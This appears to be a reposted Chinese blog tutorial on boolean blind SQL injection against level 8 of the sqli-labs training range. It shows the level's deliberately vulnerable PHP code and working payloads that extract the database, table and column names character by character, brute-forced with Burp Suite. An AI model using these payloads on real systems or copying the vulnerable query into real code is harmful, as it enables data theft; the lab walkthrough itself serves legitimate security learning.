sql注入–布爾盲注
靶場:sqli-labs-master
下載鏈接:靶場下載鏈接
第8關 盲注
php原始碼
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo '</br>';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
盲注分為
1.布爾型別
只會回傳True或者False
2.時間盲注
通過sleep函式,使用F12觀察加載時間的變化判斷是否猜解是否正確
一.布爾盲注
例如輸入?id=1
回傳 you are in…

輸入 ?id=1000
頁面無回傳資訊

再測驗?id=’
也沒有回顯,那么這種沒有回顯點的就稱為盲注
盲注需要用到一些函式
1.substr() 截取字串
2.length() 回傳字串長度
3.ascii() 回傳字串的ASCII碼
4.sleep() 程式執行延遲()秒
5.if(exp1,exp2,exp3) 如果exp1正確,就執行exp2,否正執行exp3
由于盲注沒有回顯,所以只能通過邏輯陳述句比如and 來判斷我們執行的陳述句是否成功
①.猜解資料庫名長度
SELECT * FROM users WHERE id='1' and (length(database()))=8 -- ' LIMIT 0,1
(–為注釋+表示空格,與%23即#作用相同)

8有回顯

換成其他如9無回顯
說明猜解出資料庫名長度為8
②.然后就可以猜解資料庫名
使用陳述句 ?id=’ and (ascii(substr(database(),1,1)))=115 --+
(substr(database(),1,1)表示從database()第一個字符開始截取,一共截取1個字符,然后使用ascii取得這個字符的ASCII碼進行判斷是否為ASCII碼為115對應的字符

SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1)))=115 -- ' LIMIT 0,1

通過此陳述句猜解出資料庫名的第一個字符為ASCII碼為115對應的字符即:s
然后可以使用burpsuite工具抓包通過爆破幫助我們快速破解剩下的字符
使用火狐瀏覽器,設定代理


抓包

發送到burpsuite的爆破模塊

然后進行清除和設定要爆破的變數

設定115為要爆破的變數
設定payload,ascii碼從0到127

然后開始攻擊

可以看到,burpsuite將每個ASCII碼都進行了嘗試
只需要點擊length查看與其他結果不同的ASCII碼值

可以看到,當使用ASCII碼101嘗試時,回傳結果為you are in,故可以得到database()的第二個字符為ASCII碼為101對應的字符,即:e
同理可以獲取剩余字符資訊

只需將此處改為3 4 5 6 7 8 然后同上即可
得到資料庫名稱為security
③.猜解欄位名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=115 --+
同樣使用burpsuite抓包
然后爆破




說明第一個表名對應的字符ASCII碼為101 即:e
其他字符同理
得到表名為emails
其他表同理
④.取表中的欄位資訊
查詢陳述句可參考前面的文章
sql注入–報錯型
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=115 --+
⑤.取表中的資料
?id=1' and (ascii(substr((select email_id from emails where id= limit 0,1),1,1)))=115 --+
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/401554.html
標籤:其他
上一篇:WEB服務器中的軟體安全
下一篇:瀏覽器安全概述
